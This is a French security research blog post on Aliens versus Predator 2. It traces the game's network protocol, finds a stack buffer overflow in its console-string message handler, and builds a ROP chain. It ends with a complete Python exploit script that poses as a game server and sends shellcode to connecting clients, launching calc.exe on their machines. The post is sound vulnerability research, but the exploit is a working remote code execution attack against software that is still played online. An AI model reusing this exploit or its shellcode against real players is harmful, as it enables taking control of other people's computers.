Aliens versus Predator 2

Introduction

Aliens Versus Predator 2 est un jeu vidéo de tir à la première personne dans lequel il est possible d’incarner un marine, un alien ou un predator. Il fut développé par Monolith Production et édité par Sierra Entertainement en 2001 pour la platforme Windows. Sierra a fermé le serveur multijoueur officiel du jeu en Novembre 2008. Une communauté de passionnés a développé un patch non officiel pour continuer à jouer en ligne et sur des systèmes d’exploitation récent comme Windows 10.

Du vieux code porté sur un OS récent, un mode multijoueur toujours actif. Mais qu’attendons-nous ?! On va donc partir chasser de la VULNs :)

Analyse périphérique

Tout d’abord commençons par rechercher tout ce qui est disponible en source ouverte. Une partie du code source est disponible sur archive.org. On y retrouve surtout le code propre au jeu AVP2, seuls les entêtes C du moteur sont distribués.

Concernant l’architecture, un chargeur packé avec UPX lance le moteur de jeu lithtech.exe qui lui n’est pas packé. La partie serveur est implémentée dans un autre binaire nommé AVPServ.exe. Quel que soit le binaire aucune mitigation n’est présente, il semblerait même que la DEP ait été explicitement désactivée.

Process Explorer1 n’affiche pas par défaut le status des mitigations, on peut configurer l’affichage via un clic droit sur une colonne.

Une première capture Wireshark permet d’obtenir des informations intéressantes, notamment le port d’écoute et le protocole utilisé. Le client envoie des paquets UDP sur l’adresse de broadcast pour trouver les parties hébergées sur le réseau local. Durant cette phase de matchmaking les paquets échangés contiennent uniquement du texte. Ces chaînes de caractères constitueront notre point d’accroche pour la suite.

On va essayer de retrouver le traitement des messages en posant un breakpoint sur l’appel à recvfrom. Cette fonction semble être appelée dans une seule fonction du programme, c’est probablement une fonction d’emballage (wrapper).

Malheureusement cela ne fonctionne pas, lorsqu’on regarde le code avec un debugger on s’aperçoit que celui-ci à changé. Un trampoline a été installé pour détourner l’appel à recvfrom vers une fonction située dans une DLL nommé cshell.dll

D’après Process Monitor2 cette bibliothèque cshell.dll est extraite dans le dossier temporaire de l’utilisateur courant. Le moteur lithtech.exe charge la bibliothèque via LoadLibaryA et résouds une fonction nommée GetClientShellFunctions. Cette fonction retourne deux pointeurs de fonctions pour initialiser et déinitialiser un objet de type ILTClient. Durant l’initialisation de l’objet, la DLL installe des trampolines sur les API réseau (socket, connect, recvfrom, sendto, …).

Protocole

Dans le but d’interagir avec le client ou le serveur il est intéressant de comprendre le format des paquets échangés. Les paquets les plus simples à comprendre sont souvent ceux transportant les messages envoyés dans le chat.

Un exemple de paquet ci-dessous lorsque on envoie le message “Coucou” sur le chat global.

On retrouve notre message sous forme de chaîne de caractères non compressée ainsi que la valeur A7. En fouillant un peu dans le code source, on retrouve la constante MID_MPGR_MESSAGE (167) c’est probablement un type de message.

Le code source nous indique que le message est précédé d’un identifiant de client (dans notre cas 1).

HMESSAGEWRITE hMessage = g_pLTServer->StartMessage(NULL, MID_MPMGR_MESSAGE);
hMessage->WriteDWord(m_ClientData[nIndex].m_nClientID);
hMessage->WriteString(szString);
g_pLTServer->EndMessage(hMessage);

Le code source ne donne pas les implémentations des fonctions exposées par HMESSAGEWRITE. Celles-ci sont implémentées dans le moteur de jeu dont nous n’avons pas les sources.

En regardant la capture réseau on s’aperçoit que le premier octet 8D revient assez souvent, peut-être que cela indique un type de message plus global. On observe dans la capture que les 4 derniers octets de ces messages s’incrémentent pour chaque paquet envoyé. La valeur 28 03 00 00 pourrait correspondre à un compteur de trame.

Bien qu’incomplète, ces informations nous permettent de déduire le format des messages général.

Vulnérabilité

Lorsque l’on conçoit un jeu vidéo, on est amené à créer des interactions entre les différentes entités du jeu (personnage, porte, clef, munitions, …). Pour des questions de maintenabilité et de lisibilité du code, les développeurs font souvent appel à une file de message (message queue) pour implémenter les interactions du jeu. Chaque entité reçoit les messages du jeu et peut décider de le traiter ou non.

Il y a un problème de buffer overflow dans le traitement du message MID_PLAYER_CONSOLE_STRING géré par la fonction CGameClientShell::OnMessage.

Le code lit un entier non signé sur 8 bits nommé nArgs depuis le message sérialisé. Ensuite nArgs chaînes sont lues et concaténées entre elles dans un buffer str de 128 octets maximum. Chaque chaîne fait au maximum 64 octets, on peut facilement déborder du buffer str avec plus de 2 chaînes de 64 octets.

case MID_PLAYER_CONSOLE_STRING:
{
	char str[128] = "\0";
	char arg[64] = "\0";
	uint8 nArgs;
	
	hMessage->ReadByteFL(nArgs);

	for(int i = 0; i < nArgs; i++)
	{
		hMessage->ReadStringFL(arg, sizeof(arg));

		if(str[0])
			sprintf(str, "%s %s", str, arg);
		else
			sprintf(str, "%s", arg);
	}

	g_pLTClient->RunConsoleString(str);
}
break;

Exploitation

C’est un cas d’exploitation classique de buffer overflow, il n’y a pas de variable qui une fois écrasée pourrait provoquer un crash de l’application entre l’adresse de retour et le buffer. Il faut envoyer 140 octets pour écraser l’adresse de retour.

La stack n’étant pas exécutable, nous allons écrire une ROPChain avec quelques contraintes.

  • Toute la payload est découpée en blocs de 64 octets (en comptant l’octet de terminaison de chaîne).
  • Il ne peut y avoir d’octet nul car la concaténation est réalisée avec un sprintf.

Le binaire lithtech.exe est chargé à l’adresse 00400000, par conséquent j’ai choisi mes gadgets dans la bibliothèque cshell.dll.

La ROPchain va permettre de charger puis exécuter un shellcode en mémoire, pour cela il nous faut une zone mémoire en Read-Write-Execute (RWX) pour y copier notre shellcode.

La bibliothèque cshell.dll propose des fonctions de hooking ce qui est très pratique. La fonction suivante change les attributs de la zone mémoire 0x12134520 en RWX.

Il ne reste plus maintenant qu’à copier le shellcode depuis la stack vers cette zone RWX.

Le gadget suivant permet de copier des mots de 32 bit de ESI vers EDI.

0x120ff17d:
rep movsd dword ptr es:[edi], dword ptr [esi]
pop edi
pop esi
ret

On a donc besoin de gadgets pour définir la source (ESI) et la destination (EDI) ainsi que le nombre de mots à copier (ECX).

Pour la destination un simple pop edi suffit,

0x1202a36c:
pop edi
ret

Pour la source c’est un peu plus compliqué, puisqu’on ne connaît pas l’adresse de la stack sur l’environement distant. Cependant le gadget suivant permet de la récupérer dynamiquement à partir de ESP.

0x1202f350:
push esp
pop esi
pop ebp
pop ebx
ret 4

La taille est un nombre petit qui va donc contenir des octets nuls une fois encodé, un simple pop ecx suffit. Pour contourner le problème j’utilise un pop suivi d’un xor avec une constante.

0x12181df7:
pop ecx
ret

Ainsi, en enchainant le gadget ci-dessus avec le gadget ci-dessous, la valeur 0x18923d31 donneras 0x00000030.

0x12040f58:
xor ecx, 0x18923d01
mov eax, ecx
ret 4

Ensuite il ne reste plus qu’a placer le shellcode en fin de ROPchain. Le shellcode est aussi découpé en morceaux, on substitue chaque espace (0x20) par un octet nul. L’octet nul sera de nouveau remplacé par un espace au moment de la concaténation avec le sprintf.

Ce qui donne le script d’exploitation suivant:

from pwn import *
import socket

UDP_IP   = "0.0.0.0"
UDP_PORT = 27888

# game announcement extracted from wireshark
buf =b"\x5c\x67\x61\x6d\x65\x6e"
buf+=b"\x61\x6d\x65\x5c\x61\x76\x70\x32\x5c\x67\x61\x6d\x65\x76\x65\x72"
buf+=b"\x5c\x31\x2e\x30\x2e\x39\x2e\x36\x5c\x6c\x6f\x63\x61\x74\x69\x6f"
buf+=b"\x6e\x5c\x30\x5c\x6d\x73\x70\x61\x74\x63\x68\x5c\x32\x2e\x34\x5c"
buf+=b"\x77\x65\x62\x73\x69\x74\x65\x5c\x77\x77\x77\x2e\x61\x76\x70\x32"
buf+=b"\x6d\x73\x70\x2e\x63\x6f\x6d\x5c\x68\x6f\x73\x74\x6e\x61\x6d\x65"
buf+=b"\x5c\x41\x6c\x69\x65\x6e\x73\x20\x76\x73\x2e\x20\x50\x72\x65\x64"
buf+=b"\x61\x74\x6f\x72\x20\x32\x20\x5b\x44\x5d\x5c\x68\x6f\x73\x74\x70"
buf+=b"\x6f\x72\x74\x5c\x32\x37\x38\x38\x38\x5c\x6d\x61\x70\x6e\x61\x6d"
buf+=b"\x65\x5c\x64\x6d\x5f\x61\x6c\x65\x73\x73\x65\x72\x66\x61\x74\x65"
buf+=b"\x5c\x67\x61\x6d\x65\x74\x79\x70\x65\x5c\x54\x65\x61\x6d\x20\x44"
buf+=b"\x4d\x5c\x67\x61\x6d\x65\x6d\x6f\x64\x65\x5c\x6f\x70\x65\x6e\x70"
buf+=b"\x6c\x61\x79\x69\x6e\x67\x5c\x6e\x75\x6d\x70\x6c\x61\x79\x65\x72"
buf+=b"\x73\x5c\x30\x5c\x6d\x61\x78\x70\x6c\x61\x79\x65\x72\x73\x5c\x31"
buf+=b"\x36\x5c\x6c\x6f\x63\x6b\x5c\x30\x5c\x64\x65\x64\x5c\x31\x5c\x62"
buf+=b"\x61\x6e\x64\x77\x69\x64\x74\x68\x5c\x31\x30\x30\x30\x30\x30\x30"
buf+=b"\x30\x5c\x6d\x61\x78\x61\x5c\x38\x5c\x6d\x61\x78\x6d\x5c\x38\x5c"
buf+=b"\x6d\x61\x78\x70\x5c\x38\x5c\x6d\x61\x78\x63\x5c\x38\x5c\x66\x72"
buf+=b"\x61\x67\x73\x5c\x30\x5c\x73\x63\x6f\x72\x65\x5c\x30\x5c\x74\x69"
buf+=b"\x6d\x65\x5c\x31\x38\x30\x30\x5c\x72\x6f\x75\x6e\x64\x73\x5c\x30"
buf+=b"\x5c\x6c\x63\x5c\x30\x5c\x68\x72\x61\x63\x65\x5c\x30\x5c\x70\x72"
buf+=b"\x61\x63\x65\x5c\x30\x5c\x72\x61\x74\x69\x6f\x5c\x30\x5c\x73\x72"
buf+=b"\x61\x63\x65\x5c\x30\x5c\x6d\x72\x61\x63\x65\x5c\x30\x5c\x64\x72"
buf+=b"\x61\x63\x65\x5c\x30\x5c\x64\x6c\x69\x76\x65\x5c\x30\x5c\x61\x72"
buf+=b"\x61\x63\x65\x5c\x30\x5c\x61\x6c\x69\x76\x65\x5c\x30\x5c\x73\x70"
buf+=b"\x65\x65\x64\x5c\x31\x30\x30\x5c\x72\x65\x73\x70\x61\x77\x6e\x5c"
buf+=b"\x31\x30\x30\x5c\x64\x61\x6d\x61\x67\x65\x5c\x31\x30\x30\x5c\x68"
buf+=b"\x69\x74\x6c\x6f\x63\x5c\x31\x5c\x66\x66\x5c\x30\x5c\x66\x6e\x5c"
buf+=b"\x30\x5c\x6d\x61\x73\x6b\x5c\x30\x5c\x63\x6c\x61\x73\x73\x5c\x31"
buf+=b"\x5c\x65\x78\x6f\x73\x75\x69\x74\x5c\x34\x5c\x71\x75\x65\x65\x6e"
buf+=b"\x5c\x31\x5c\x63\x73\x63\x6f\x72\x65\x5c\x30\x5c\x66\x69\x6e\x61"
buf+=b"\x6c\x5c\x5c\x71\x75\x65\x72\x79\x69\x64\x5c\x33\x38\x2e\x31"

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
sock.bind((UDP_IP,UDP_PORT))

GADGET_COPY = 0x120ff17d # rep movsd dword ptr es:[edi], dword ptr [esi] ; pop edi ; pop esi ; ret
POP_ECX_RET = 0x12181df7 # pop ecx ; ret
XOR_ECX     = 0x12040f58 # xor ecx, 0x18923d01 ; mov eax, ecx ; ret 4
PUSH_ESP_POP_ESI_EBP_EBX = 0x1202f350 # push esp ; pop esi ; pop ebp ; pop ebx ; ret 4
POP_EDI_RET      = 0x1202a36c # pop edi ; ret
DEST = 0x12134520

# shellcode to run calc.exe (split on \x20)
shellcode1 = b'\xeb.\x8b<$\x80w\x0c\x00'
shellcode2 = b'\xb8\xa4@\x18\x12\xff\x10\xeb0\x8b<$\x80w\x07\x00'
shellcode3 = b'P\xb8(A\x18\x12\xff\x101\xc9AQ\xeb(\x8b<$\x80w\x1c\x00'
shellcode4 = b'\xff\xd0\xe8\xcd\xff\xff\xffkernel32.dll\x00'
shellcode5 = b'\xe8\xcb\xff\xff\xffWinExec\x00'
shellcode6 = b'\xe8\xd3\xff\xff\xffC:\\Windows\\System32\\calc.exe\x20\x00'

while True:
    data,addr = sock.recvfrom(4096)
    print(data)
    if data == b"\\status\\":
        sock.sendto(buf,addr)
    elif data[0:4] == b"\x00\x03\x00\xc1":
        for i in range(0,5):
            sock.sendto(b"\x00\x05",addr)

        payload = b"\x8d"               # packet global type
        payload+= b"\x0A"               # nargs
        payload+= b"A"*63+b"\x00"       # AAAA...[SPACE] 64 bytes
        payload+= b"A"*63+b"\x00"       # AAAA...[SPACE] 64 bytes
        payload+= b"BBBB"               # [0x04] SEH Record 
        payload+= b"CCCC"               # [0x08] SEH Record
        payload+= b"DDDD"               # [0x0C] var_4
        payload+= p32(0x12075DF0)       # [0x10] return addr
        payload+= b"XXXX"               # [0x14]
        payload+= b"XXXX"               # [0x18] 
        payload+= p32(POP_ECX_RET)      # [0x1C]
        payload+= p32(0x18923d31)       # [0x20]
        payload+= p32(XOR_ECX)          # [0x24]
        payload+= p32(POP_EDI_RET)      # [0x28]
        payload+= b"XXXX"               # [0x2C]
        payload+= p32(DEST)             # [0x30]
        payload+= p32(PUSH_ESP_POP_ESI_EBP_EBX) # [0x34] 
        payload+= b"XXX\x00"            # [0x3C]
        payload+= b"XXXX"               # [0x00]
        payload+= p32(GADGET_COPY)      # [0x04]
        payload+= b"\x90\x90\x90\x90"   # [0x08]
        payload+= b"\x90\x90\x90\x90"   # [0x10]
        payload+= b"\x90\x90\x90\x90"   # [0x14]
        payload+= p32(0x1213453D)       # jmp
        payload+= b"\x00"
        payload+= shellcode1
        payload+= shellcode2
        payload+= shellcode3
        payload+= shellcode4
        payload+= shellcode5
        payload+= shellcode6
        payload+= b"\x7a\x00\x00\x00\x00"
        sock.sendto(payload,addr)

L’exploit en vidéo,

Références

  1. Process Explorer
  2. Process Monitor